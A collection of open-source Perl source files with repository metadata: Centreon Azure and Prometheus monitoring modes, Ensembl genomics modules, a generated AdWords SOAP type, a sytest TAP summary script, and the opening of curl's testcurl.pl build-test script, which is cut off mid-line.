$self = $class->SUPER::new(package => __PACKAGE__, %options, force_new_perfdata => 1); bless $self, $class; $options{options}->add_options(arguments => { 'filter-metric:s' => { name => 'filter_metric' }, 'resource:s' => { name => 'resource' }, 'resource-group:s' => { name => 'resource_group' }, 'resource-type:s' => { name => 'resource_type' } }); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::check_options(%options); if (!defined($self->{option_results}->{resource}) || $self->{option_results}->{resource} eq '') { $self->{output}->add_option_msg(short_msg => 'Need to specify either --resource <name> with --resource-group option or --resource <id>.'); $self->{output}->option_exit(); } if (!defined($self->{option_results}->{resource_type}) || $self->{option_results}->{resource_type} eq '') { $self->{output}->add_option_msg(short_msg => 'Need to specify --resource-type option'); $self->{output}->option_exit(); } my $resource = $self->{option_results}->{resource}; my $resource_group = defined($self->{option_results}->{resource_group}) ? $self->{option_results}->{resource_group} : ''; my $resource_type = $self->{option_results}->{resource_type}; if ($resource =~ /^\/subscriptions\/.*\/resourceGroups\/(.*)\/providers\/Microsoft\.DBforMySQL\/(.*)\/(.*)$/) { $resource_group = $1; $resource_type = $2; $resource = $3; } $self->{az_resource} = $resource; $self->{az_resource_group} = $resource_group; $self->{az_resource_type} = $resource_type; $self->{az_resource_namespace} = 'Microsoft.DBforMySQL'; $self->{az_timeframe} = defined($self->{option_results}->{timeframe}) ? $self->{option_results}->{timeframe} : 900; $self->{az_interval} = defined($self->{option_results}->{interval}) ? $self->{option_results}->{interval} : 'PT5M'; $self->{az_aggregations} = ['Average']; if (defined($self->{option_results}->{aggregation})) { $self->{az_aggregations} = []; foreach my $stat (@{$self->{option_results}->{aggregation}}) { if ($stat ne '') { push @{$self->{az_aggregations}}, ucfirst(lc($stat)); } } } foreach my $metric (keys %{$self->{metrics_mapping}}) { next if (defined($self->{option_results}->{filter_metric}) && $self->{option_results}->{filter_metric} ne '' && $metric !~ /$self->{option_results}->{filter_metric}/); push @{$self->{az_metrics}}, $metric; } } 1; __END__ =head1 MODE Check Azure Database for MySQL memory usage. Example: Using resource name : perl centreon_plugins.pl --plugin=cloud::azure::database::mysql::plugin --mode=memory --custommode=api --resource=<db_id> --resource-group=<resourcegroup_id> --aggregation='average' --warning-memory-usage='80' --critical-memory-usage='90' Using resource id : perl centreon_plugins.pl --plugin=cloud::azure::integration::servicebus::plugin --mode=memory --custommode=api --resource='/subscriptions/<subscription_id>/resourceGroups/<resourcegroup_id>/providers/Microsoft.DBforMySQL/servers/<db_id>' --aggregation='average' --warning-memory-usage='80' --critical-memory-usage='90' Default aggregation: 'average' / 'total', 'minimum' and 'maximum' are valid. =over 8 =item B<--resource> Set resource name or id (Required). =item B<--resource-group> Set resource group (Required if resource's name is used). =item B<--resource-type> Set resource type (Default: 'servers'). Can be 'servers', 'flexibleServers'. =item B<--warning-memory-usage> Set warning threshold for memory utilization percentage. =item B<--critical-memory-usage> Set critical threshold for memory utilization percentage. =back =cut
Tpo76/centreon-plugins
cloud/azure/database/mysql/mode/memory.pm
Perl
apache-2.0
5,154
=head1 LICENSE Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Copyright [2016-2019] EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <http://www.ensembl.org/Help/Contact>. =head1 AUTHOR Juguang Xiao <juguang@tll.org.sg> =cut =head1 NAME Bio::EnsEMBL::Utils::Converter::bio_ens_featurePair =head1 SYNOPISIS =head1 DESCRIPTION =head1 METHODS =cut package Bio::EnsEMBL::Utils::Converter::bio_ens_featurePair; use strict; use vars qw(@ISA); use Bio::EnsEMBL::FeaturePair; use Bio::EnsEMBL::RepeatConsensus; use Bio::EnsEMBL::ProteinFeature; use Bio::EnsEMBL::Utils::Converter; use Bio::EnsEMBL::Utils::Converter::bio_ens; @ISA = qw(Bio::EnsEMBL::Utils::Converter::bio_ens); sub _initialize { my ($self, @args) = @_; $self->SUPER::_initialize(@args); my ($translation_id) = $self->_rearrange([qw(TRANSLATION_ID)], @args); $self->translation_id($translation_id); # internal converter for seqFeature $self->{_bio_ens_seqFeature} = new Bio::EnsEMBL::Utils::Converter ( -in => 'Bio::SeqFeature::Generic', -out => 'Bio::EnsEMBL::SeqFeature', ); } sub _convert_single { my ($self, $pair) = @_; unless($pair && $pair->isa('Bio::SeqFeature::FeaturePair')){ $self->throw('a Bio::SeqFeature::FeaturePair object needed'); } if($self->out eq 'Bio::EnsEMBL::RepeatFeature'){ return $self->_convert_single_to_repeatFeature($pair); }elsif($self->out eq 'Bio::EnsEMBL::FeaturePair'){ return $self->_convert_single_to_featurePair($pair); }elsif($self->out eq 'Bio::EnsEMBL::ProteinFeature'){ return $self->_convert_single_to_proteinFeature($pair); }else{ my $output_module = $self->out; $self->throw("Cannot covert to [$output_module]"); } } sub _convert_single_to_featurePair { my ($self, $pair) = @_; my $feature1 = $pair->feature1; my $feature2 = $pair->feature2; $self->{_bio_ens_seqFeature}->contig($self->contig); $self->{_bio_ens_seqFeature}->analysis($self->analysis); my $ens_f1 = $self->{_bio_ens_seqFeature}->_convert_single($feature1); my $ens_f2 = $self->{_bio_ens_seqFeature}->_convert_single($feature2); my $ens_fp = Bio::EnsEMBL::FeaturePair->new( -feature1 => $ens_f1, -feature2 => $ens_f2 ); return $ens_fp; } sub _convert_single_to_proteinFeature { my ($self, $pair) = @_; my $featurePair = $self->_convert_single_to_featurePair($pair); my $proteinFeature = Bio::EnsEMBL::ProteinFeature->new( -feature1 => $featurePair->feature1, -feature2 => $featurePair->feature2 ); $proteinFeature->seqname($self->translation_id); return $proteinFeature; } sub _convert_single_to_repeatFeature { my ($self, $pair) = @_; my $feature1 = $pair->feature1; my $feature2 = $pair->feature2; my $ens_repeatfeature = new Bio::EnsEMBL::RepeatFeature( -seqname => $feature1->seq_id, -start => $feature1->start, -end => $feature1->end, -strand => $feature1->strand, -source_tag => $feature1->source_tag, ); my ($h_start, $h_end); if($feature1->strand == 1){ $h_start = $feature2->start; $h_end = $feature2->end; }elsif($feature1->strand == -1){ $h_start = $feature2->end; $h_end = $feature2->start; }else{ $self->throw("strand cannot be outside of (1, -1)"); } $ens_repeatfeature->hstart($h_start); $ens_repeatfeature->hend($h_end); my $repeat_name = $feature2->seq_id; my $repeat_class = $feature1->primary_tag; $repeat_class ||= $feature2->primary_tag; $repeat_class ||= "not sure"; my $ens_repeat_consensus = $self->_create_consensus($repeat_name, $repeat_class); $ens_repeatfeature->repeat_consensus($ens_repeat_consensus); my($contig) = ref ($self->contig) eq 'ARRAY' ? @{$self->contig} : $self->contig; $ens_repeatfeature->attach_seq($contig); $ens_repeatfeature->analysis($self->analysis); return $ens_repeatfeature; } sub _create_consensus{ my ($self, $repeat_name, $repeat_class) = @_; my $consensus = new Bio::EnsEMBL::RepeatConsensus; $consensus->name($repeat_name); $consensus->repeat_class($repeat_class); return $consensus; } 1;
muffato/ensembl
modules/Bio/EnsEMBL/Utils/Converter/bio_ens_featurePair.pm
Perl
apache-2.0
5,056
=head1 LICENSE # Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <http://www.ensembl.org/Help/Contact>. =cut =head1 NAME Bio::EnsEMBL::Analysis::RunnableDB::CopyGenes - =head1 SYNOPSIS RunnableDB for copying genes from a source database to a target database. By default all the genes in the database COPY_SOURCE_DB are copied into the database COPY_TARGET_DB =head1 DESCRIPTION =head1 METHODS =cut package Bio::EnsEMBL::Analysis::RunnableDB::CopyGenes; use warnings ; use vars qw(@ISA); use strict; use Bio::EnsEMBL::Analysis::RunnableDB; use Bio::EnsEMBL::Analysis::RunnableDB::BaseGeneBuild; use Bio::EnsEMBL::Utils::Exception qw(throw warning); use Bio::EnsEMBL::Utils::Argument qw (rearrange); @ISA = qw(Bio::EnsEMBL::Analysis::RunnableDB::BaseGeneBuild); sub new{ my ($class,@args) = @_; my $self = $class->SUPER::new(@args); my ($given_source_db, $given_target_db, $given_biotype) = rearrange (['SOURCE_DB', 'TARGET_DB', 'BIOTYPE'], @args); #### Default values... $self->source_db_name("COPY_SOURCE_DB"); $self->target_db_name("COPY_TARGET_DB"); $self->biotype(""); ### ...are over-ridden by parameters given in analysis table... my $ph = $self->parameters_hash; $self->source_db_name($ph->{-source_db}) if exists $ph->{-source_db}; $self->target_db_name($ph->{-target_db}) if exists $ph->{-target_db}; $self->biotype($ph->{-biotype}) if exists $ph->{-biotype}; ### ...which are over-ridden by constructor arguments. $self->source_db_name($given_source_db) if defined $given_source_db; $self->target_db_name($given_target_db) if defined $given_target_db; $self->biotype($given_biotype) if defined $given_biotype; return $self; } #getter/setters sub source_db_name{ my ($self, $arg) = @_; if(defined $arg){ $self->{'source_db_name'} = $arg; } return $self->{'source_db_name'}; } sub target_db_name{ my ($self, $arg) = @_; if(defined $arg){ $self->{'target_db_name'} = $arg; } return $self->{'target_db_name'}; } sub biotype{ my ($self, $arg) = @_; if(defined $arg){ $self->{'biotype'} = $arg; } return $self->{'biotype'}; } ################################ sub fetch_input { my ($self) = @_; my $source_db = $self->get_dbadaptor($self->source_db_name); my $slice = $source_db->get_SliceAdaptor->fetch_by_name($self->input_id); # # total paranoia: fetch everything up front # my (@genes); my @target_genes; if($self->biotype){ @target_genes = @{$slice->get_all_Genes_by_type($self->biotype)}; }else{ @target_genes = @{$slice->get_all_Genes}; } foreach my $g (@target_genes) { foreach my $t (@{$g->get_all_Transcripts}) { foreach my $e (@{$t->get_all_Exons}) { $e->get_all_supporting_features; $e->stable_id; } my $tr = $t->translation; if (defined $tr) { $tr->stable_id; $tr->get_all_Attributes; $tr->get_all_DBEntries; $tr->get_all_ProteinFeatures; } $t->stable_id; $t->get_all_supporting_features; $t->get_all_DBEntries; $t->display_xref; $t->get_all_Attributes; } $g->stable_id; $g->get_all_DBEntries; $g->display_xref; $g->get_all_Attributes; push @genes, $g; } $self->output(\@genes); } ################################## sub write_output { my($self) = @_; my $target_db = $self->get_dbadaptor($self->target_db_name); my $g_adap = $target_db->get_GeneAdaptor; foreach my $g (@{$self->output}) { $g_adap->store($g); } return 1; } 1;
mn1/ensembl-analysis
modules/Bio/EnsEMBL/Analysis/RunnableDB/CopyGenes.pm
Perl
apache-2.0
4,368
package Google::Ads::AdWords::v201402::LongRangeAttribute; use strict; use warnings; __PACKAGE__->_set_element_form_qualified(1); sub get_xmlns { 'https://adwords.google.com/api/adwords/o/v201402' }; our $XML_ATTRIBUTE_CLASS; undef $XML_ATTRIBUTE_CLASS; sub __get_attr_class { return $XML_ATTRIBUTE_CLASS; } use base qw(Google::Ads::AdWords::v201402::Attribute); # Variety: sequence use Class::Std::Fast::Storable constructor => 'none'; use base qw(Google::Ads::SOAP::Typelib::ComplexType); { # BLOCK to scope variables my %Attribute__Type_of :ATTR(:get<Attribute__Type>); my %value_of :ATTR(:get<value>); __PACKAGE__->_factory( [ qw( Attribute__Type value ) ], { 'Attribute__Type' => \%Attribute__Type_of, 'value' => \%value_of, }, { 'Attribute__Type' => 'SOAP::WSDL::XSD::Typelib::Builtin::string', 'value' => 'Google::Ads::AdWords::v201402::Range', }, { 'Attribute__Type' => 'Attribute.Type', 'value' => 'value', } ); } # end BLOCK 1; =pod =head1 NAME Google::Ads::AdWords::v201402::LongRangeAttribute =head1 DESCRIPTION Perl data type class for the XML Schema defined complexType LongRangeAttribute from the namespace https://adwords.google.com/api/adwords/o/v201402. {@link Attribute} type that contains a {@link Range} of {@link LongValue} values. =head2 PROPERTIES The following properties may be accessed using get_PROPERTY / set_PROPERTY methods: =over =item * value =back =head1 METHODS =head2 new Constructor. The following data structure may be passed to new(): =head1 AUTHOR Generated by SOAP::WSDL =cut
gitpan/GOOGLE-ADWORDS-PERL-CLIENT
lib/Google/Ads/AdWords/v201402/LongRangeAttribute.pm
Perl
apache-2.0
1,668
=head1 LICENSE Copyright [1999-2014] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =cut =head1 CONTACT Please email comments or questions to the public Ensembl developers list at <http://lists.ensembl.org/mailman/listinfo/dev>. Questions may also be sent to the Ensembl help desk at <http://www.ensembl.org/Help/Contact>. =cut =head1 NAME Bio::EnsEMBL::Map::Ditag =head1 SYNOPSIS my $feature = Bio::EnsEMBL::Map::Ditag->new( -dbID => $tag_id, -name => $name, -type => $type, -tag_count => $tag_count, -sequence => $sequence, -adaptor => $dbAdaptor ); =head1 DESCRIPTION Represents an unmapped ditag object in the EnsEMBL database. Corresponds to original tag containing the full sequence. This can be a single piece of sequence like CAGE tags or a ditag with concatenated sequence from 5' and 3' end like GIS or GSC tags. =head1 METHODS =cut package Bio::EnsEMBL::Map::Ditag; use strict; use vars qw(@ISA); use Bio::EnsEMBL::Storable; use Bio::EnsEMBL::Utils::Exception qw( throw ); use Bio::EnsEMBL::Utils::Argument qw( rearrange ); @ISA = qw(Bio::EnsEMBL::Storable); =head2 new Arg [1] : (optional) int $dbID Arg [2] : (optional) string name Arg [3] : (optional) string type Arg [4] : (optional) int tag_count Arg [5] : (optional) string sequence Arg [6] : (optional) Bio::EnsEMBL::Map::DBSQL::DitagAdaptor $adaptor Description: Creates a new ditag Returntype : Bio::EnsEMBL::Map::Ditag Exceptions : none Caller : general =cut sub new { my ($caller, @args) = @_; my ($dbID, $name, $type, $tag_count, $sequence, $adaptor) = rearrange( [ 'DBID', 'NAME', 'TYPE', 'TAG_COUNT', 'SEQUENCE', 'ADAPTOR' ], @args); my $class = ref($caller) || $caller; if(!$name or !$type or !$sequence) { throw('Missing information for Ditag object: Bio::EnsEMBL::Map::Ditag->new ( -dbID => $tag_id, -name => $name, -type => $type, -tag_count => $tag_count, -sequence => $sequence, -adaptor => $dbAdaptor );'); } if(!$tag_count){ $tag_count = 0; } if(!($sequence =~ /^[ATCGN]+$/i)){ throw('ditag sequence contains non-standard characters: '.$sequence); } my $self = bless( {'dbID' => $dbID, 'name' => $name, 'type' => $type, 'tag_count' => $tag_count, 'sequence' => $sequence }, $class); $self->adaptor($adaptor); return $self; } =head2 name Arg [1] : (optional) string $type Example : $type = $ditag->name; Description: Getter/Setter for the name of a ditag Returntype : text Caller : general =cut sub name { my $self = shift; if(@_) { $self->{'name'} = shift; } return $self->{'name'}; } =head2 dbID Arg [1] : (optional) int id Example : $ditag_id = $ditag->dbID; Description: Getter/Setter for the dbID of a ditag Returntype : int Caller : general =cut sub dbID { my $self = shift; if(@_) { $self->{'dbID'} = shift; } return $self->{'dbID'}; } =head2 type Arg [1] : (optional) string $type Example : $type = $ditag->type; Description: Getter/Setter for the type of a ditag Returntype : text Caller : general =cut sub type { my $self = shift; if(@_) { $self->{'type'} = shift; } return $self->{'type'}; } =head2 tag_count Arg [1] : (optional) string $tag_count Example : $type = $ditag->tag_count; Description: Getter/Setter for the tag_count of a ditag Returntype : int Caller : general =cut sub tag_count { my $self = shift; if(@_) { $self->{'tag_count'} = shift; } return $self->{'tag_count'}; } =head2 sequence Arg [1] : (optional) string $sequence Example : $sequence = $ditag->sequence; Description: Getter/Setter for the sequence of a ditag Returntype : text Caller : general =cut sub sequence { my $self = shift; if(@_) { $self->{'sequence'} = shift; } return $self->{'sequence'}; } =head2 get_ditagFeatures Arg : none Example : @features = @{$ditag->get_ditagFeatures}; Description: Fetch ditag_features created from this ditag Returntype : listref of Bio::EnsEMBL::Map::DitagFeature Caller : general =cut sub get_ditagFeatures { my $self = shift; return $self->adaptor->db->get_adaptor("ditagFeature") ->fetch_all_by_ditagID($self->dbID); } 1;
willmclaren/ensembl
modules/Bio/EnsEMBL/Map/Ditag.pm
Perl
apache-2.0
5,346
#!/usr/bin/perl # # Write a summary of a TAP file in a format suitable for Buildkite Annotations use strict; use warnings FATAL => 'all'; use TAP::Parser; # Get tap results filename and CI build name from argv my $tap_file = $ARGV[0]; my $build_name = $ARGV[1]; my $parser = TAP::Parser->new( { source => $tap_file } ); my $in_error = 0; my @out = ( "### TAP Output for $build_name" ); while ( my $result = $parser->next ) { if ( $result->is_test ) { # End an existing error block if ( $in_error == 1 ) { push( @out, "" ); push( @out, "</pre></code></details>" ); push( @out, "" ); push( @out, "----" ); push( @out, "" ); } $in_error = 0; # Start a new error block if ( not $result->is_ok ) { $in_error = 1; my $number = $result->number; my $description = $result->description; push(@out, "FAILURE Test #$number: ``$description``"); push(@out, ""); push(@out, "<details><summary>Show log</summary><code><pre>"); } } elsif ( $result->is_comment and $in_error == 1 ) { # Print error contents push( @out, $result->raw ); } } # Print out the contents of @out, cutting off the final "----" and newlines foreach my $line ( @out[0..$#out-3] ) { print $line . "\n"; }
matrix-org/sytest
scripts/format_tap.pl
Perl
apache-2.0
1,335
# # Copyright 2022 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package cloud::prometheus::exporters::nodeexporter::mode::storage; use base qw(centreon::plugins::templates::counter); use strict; use warnings; sub custom_usage_perfdata { my ($self, %options) = @_; my $label = 'used'; my $value_perf = $self->{result_values}->{used}; if (defined($self->{instance_mode}->{option_results}->{free})) { $label = 'free'; $value_perf = $self->{result_values}->{free}; } my %total_options = (); if ($self->{instance_mode}->{option_results}->{units} eq '%') { $total_options{total} = $self->{result_values}->{total}; $total_options{cast_int} = 1; } $self->{output}->perfdata_add( label => $label, unit => 'B', nlabel => 'storage.space.usage.bytes', value => $value_perf, warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning-' . $self->{thlabel}, %total_options), critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical-' . $self->{thlabel}, %total_options), min => 0, max => $self->{result_values}->{total}, instances => $self->use_instances(extra_instance => $options{extra_instance}) ? $self->{result_values}->{display} : undef, ); } sub custom_usage_threshold { my ($self, %options) = @_; my ($exit, $threshold_value); $threshold_value = $self->{result_values}->{used}; $threshold_value = $self->{result_values}->{free} if (defined($self->{instance_mode}->{option_results}->{free})); if ($self->{instance_mode}->{option_results}->{units} eq '%') { $threshold_value = $self->{result_values}->{prct_used}; $threshold_value = $self->{result_values}->{prct_free} if (defined($self->{instance_mode}->{option_results}->{free})); } $exit = $self->{perfdata}->threshold_check(value => $threshold_value, threshold => [ { label => 'critical-' . $self->{thlabel}, exit_litteral => 'critical' }, { label => 'warning-'. $self->{thlabel}, exit_litteral => 'warning' } ]); return $exit; } sub custom_usage_output { my ($self, %options) = @_; my ($total_size_value, $total_size_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{total}); my ($total_used_value, $total_used_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{used}); my ($total_free_value, $total_free_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{free}); my $msg = sprintf("Usage Total: %s Used: %s (%.2f%%) Free: %s (%.2f%%)", $total_size_value . " " . $total_size_unit, $total_used_value . " " . $total_used_unit, $self->{result_values}->{prct_used}, $total_free_value . " " . $total_free_unit, $self->{result_values}->{prct_free}); return $msg; } sub custom_usage_calc { my ($self, %options) = @_; $self->{result_values}->{label} = $self->{instance}; $self->{result_values}->{display} = $options{new_datas}->{$self->{instance} . '_display'}; $self->{result_values}->{total} = $options{new_datas}->{$self->{instance} . '_size'}; $self->{result_values}->{free} = $options{new_datas}->{$self->{instance} . '_free'}; $self->{result_values}->{used} = $self->{result_values}->{total} - $self->{result_values}->{free}; $self->{result_values}->{prct_used} = ($self->{result_values}->{total} > 0) ? $self->{result_values}->{used} * 100 / $self->{result_values}->{total} : 0; $self->{result_values}->{prct_free} = 100 - $self->{result_values}->{prct_used}; # limit to 100. Better output. if ($self->{result_values}->{prct_used} > 100) { $self->{result_values}->{free} = 0; $self->{result_values}->{prct_used} = 100; $self->{result_values}->{prct_free} = 0; } return 0; } sub set_counters { my ($self, %options) = @_; $self->{maps_counters_type} = [ { name => 'nodes', type => 3, cb_prefix_output => 'prefix_node_output', cb_long_output => 'node_long_output', message_multiple => 'All nodes storages usage are ok', indent_long_output => ' ', group => [ { name => 'storage', display_long => 1, cb_prefix_output => 'prefix_storage_output', message_multiple => 'All storages usage are ok', type => 1, skipped_code => { -10 => 1 } }, ] } ]; $self->{maps_counters}->{storage} = [ { label => 'usage', set => { key_values => [ { name => 'free' }, { name => 'size' }, { name => 'display' } ], closure_custom_calc => $self->can('custom_usage_calc'), closure_custom_output => $self->can('custom_usage_output'), closure_custom_perfdata => $self->can('custom_usage_perfdata'), closure_custom_threshold_check => $self->can('custom_usage_threshold'), label_extra_instance => 1, instance_use => 'display' } }, ]; } sub prefix_node_output { my ($self, %options) = @_; return "Node '" . $options{instance_value}->{display} . "' "; } sub node_long_output { my ($self, %options) = @_; return "Checking node '" . $options{instance_value}->{display} . "'"; } sub prefix_storage_output { my ($self, %options) = @_; return "Storage '" . $options{instance_value}->{display} . "' "; } sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => __PACKAGE__, %options); bless $self, $class; $options{options}->add_options(arguments => { "instance:s" => { name => 'instance', default => 'instance=~".*"' }, "mountpoint:s" => { name => 'mountpoint', default => 'mountpoint=~".*"' }, "fstype:s" => { name => 'fstype', default => 'fstype!~"linuxfs|rootfs|tmpfs"' }, "units:s" => { name => 'units', default => '%' }, "free" => { name => 'free' }, "extra-filter:s@" => { name => 'extra_filter' }, "metric-overload:s@" => { name => 'metric_overload' }, }); return $self; } sub check_options { my ($self, %options) = @_; $self->SUPER::check_options(%options); $self->{metrics} = { 'free' => "^node_filesystem_free.*", 'size' => "^node_filesystem_size.*", }; foreach my $metric (@{$self->{option_results}->{metric_overload}}) { next if ($metric !~ /(.*),(.*)/); $self->{metrics}->{$1} = $2 if (defined($self->{metrics}->{$1})); } $self->{labels} = {}; foreach my $label (('instance', 'mountpoint', 'fstype')) { if ($self->{option_results}->{$label} !~ /^(\w+)[!~=]+\".*\"$/) { $self->{output}->add_option_msg(short_msg => "Need to specify --" . $label . " option as a PromQL filter."); $self->{output}->option_exit(); } $self->{labels}->{$label} = $1; } $self->{extra_filter} = ''; foreach my $filter (@{$self->{option_results}->{extra_filter}}) { $self->{extra_filter} .= ',' . $filter; } } sub manage_selection { my ($self, %options) = @_; $self->{nodes} = {}; my $results = $options{custom}->query( queries => [ 'label_replace({__name__=~"' . $self->{metrics}->{free} . '",' . $self->{option_results}->{instance} . ',' . $self->{option_results}->{mountpoint} . ',' . $self->{option_results}->{fstype} . $self->{extra_filter} . '}, "__name__", "free", "", "")', 'label_replace({__name__=~"' . $self->{metrics}->{size} . '",' . $self->{option_results}->{instance} . ',' . $self->{option_results}->{mountpoint} . ',' . $self->{option_results}->{fstype} . $self->{extra_filter} . '}, "__name__", "size", "", "")' ] ); foreach my $result (@{$results}) { $self->{nodes}->{$result->{metric}->{$self->{labels}->{instance}}}->{display} = $result->{metric}->{$self->{labels}->{instance}}; $self->{nodes}->{$result->{metric}->{$self->{labels}->{instance}}}->{storage}->{$result->{metric}->{mountpoint}}->{display} = $result->{metric}->{$self->{labels}->{mountpoint}}; $self->{nodes}->{$result->{metric}->{$self->{labels}->{instance}}}->{storage}->{$result->{metric}->{mountpoint}}->{$result->{metric}->{__name__}} = ${$result->{value}}[1]; } if (scalar(keys %{$self->{nodes}}) <= 0) { $self->{output}->add_option_msg(short_msg => "No nodes found."); $self->{output}->option_exit(); } } 1; __END__ =head1 MODE Check storages usage. =over 8 =item B<--instance> Filter on a specific instance (Must be a PromQL filter, Default: 'instance=~".*"') =item B<--mountpoint> Filter on a specific mountpoint (Must be a PromQL filter, Default: 'mountpoint=~".*"') =item B<--fstype> Filter on a specific fstype (Must be a PromQL filter, Default: 'fstype!~"linuxfs|rootfs|tmpfs"') =item B<--units> Units of thresholds (Default: '%') ('%', 'B'). =item B<--free> Thresholds are on free space left. =item B<--warning-usage> Threshold warning. =item B<--critical-usage> Threshold critical. =item B<--extra-filter> Add a PromQL filter (Can be multiple) Example : --extra-filter='name=~".*pretty.*"' =item B<--metric-overload> Overload default metrics name (Can be multiple) Example : --metric-overload='metric,^my_metric_name$' Default : - free: ^node_filesystem_free.* - size: ^node_filesystem_size.* =back =cut
centreon/centreon-plugins
cloud/prometheus/exporters/nodeexporter/mode/storage.pm
Perl
apache-2.0
10,451
#!/usr/bin/env perl #*************************************************************************** # _ _ ____ _ # Project ___| | | | _ \| | # / __| | | | |_) | | # | (__| |_| | _ <| |___ # \___|\___/|_| \_\_____| # # Copyright (C) 1998 - 2017, Daniel Stenberg, <daniel@haxx.se>, et al. # # This software is licensed as described in the file COPYING, which # you should have received as part of this distribution. The terms # are also available at https://curl.haxx.se/docs/copyright.html. # # You may opt to use, copy, modify, merge, publish, distribute and/or sell # copies of the Software, and permit persons to whom the Software is # furnished to do so, under the terms of the COPYING file. # # This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY # KIND, either express or implied. # ########################################################################### ########################### # What is This Script? ########################### # testcurl.pl is the master script to use for automatic testing of curl # directly off its source repository. # This is written for the purpose of being run from a crontab job or similar # at a regular interval. The output is suitable to be mailed to # curl-autocompile@haxx.se to be dealt with automatically (make sure the # subject includes the word "autobuild" as the mail gets silently discarded # otherwise). The most current build status (with a reasonable backlog) will # be published on the curl site, at https://curl.haxx.se/auto/ # USAGE: # testcurl.pl [options] [curl-daily-name] > output # Options: # # --configure=[options] Configure options # --crosscompile This is a crosscompile # --desc=[desc] Description of your test system # --email=[email] Set email address to report as # --extvercmd=[command] Command to use for displaying version with cross compiles. # --mktarball=[command] Command to run after completed test # --name=[name] Set name to report as # --notes=[notes] More human-readable information about this configuration # --nocvsup Don't pull from git even though it is a git tree # --nogitpull Don't pull from git even though it is a git tree # --nobuildconf Don't run buildconf # --noconfigure Don't run configure # --runtestopts=[options] Options to pass to runtests.pl # --setup=[file name] File name to read setup from (deprecated) # --target=[your os] Specify your target environment. # # if [curl-daily-name] is omitted, a 'curl' git directory is assumed. # use strict; use Cwd; use File::Spec; # Turn on warnings (equivalent to -w, which can't be used with /usr/bin/env) #BEGIN { $^W = 1; } use vars qw($version $fixed $infixed $CURLDIR $git $pwd $build $buildlog $buildlogname $configurebuild $targetos $confheader $binext $libext); use vars qw($name $email $desc $confopts $runtestopts $setupfile $mktarball $extvercmd $nogitpull $nobuildconf $crosscompile $timestamp $notes); # version of this script $version='2014-11-25'; $fixed=0; # Determine if we're running from git or a canned copy of curl, # or if we got a specific target option or setup file option. $CURLDIR="curl"; if (-f ".git/config") { $CURLDIR = "./"; } $git=1; $setupfile = 'setup'; $configurebuild = 1; while ($ARGV[0]) { if ($ARGV[0] =~ /--target=/) { $targetos = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--setup=/) { $setupfile = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--extvercmd=/) { $extvercmd = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--mktarball=/) { $mktarball = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--name=/) { $name = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--email=/) { $email = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--desc=/) { $desc = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--notes=/) { $notes = (split(/=/, shift @ARGV, 2))[1]; } elsif ($ARGV[0] =~ /--configure=(.*)/) { $confopts = $1; shift @ARGV; } elsif (($ARGV[0] eq "--nocvsup") || ($ARGV[0] eq "--nogitpull")) { $nogitpull=1; shift @ARGV; } elsif ($ARGV[0] =~ /--nobuildconf/) { $nobuildconf=1; shift @ARGV; } elsif ($ARGV[0] =~ /--noconfigure/) { $configurebuild=0; shift @ARGV; } elsif ($ARGV[0] =~ /--crosscompile/) { $crosscompile=1; shift @ARGV; } elsif ($ARGV[0] =~ /--runtestopts=/) { $runtestopts = (split(/=/, shift @ARGV, 2))[1]; } else { $CURLDIR=shift @ARGV; $git=0; # a given dir, assume not using git } } # Do the platform-specific stuff here $confheader = 'curl_config.h'; $binext = ''; $libext = '.la'; # .la since both libcurl and libcares are made with libtool if ($^O eq 'MSWin32' || $targetos) { if (!$targetos) { # If no target defined on Win32 lets assume vc $targetos = 'vc'; } if 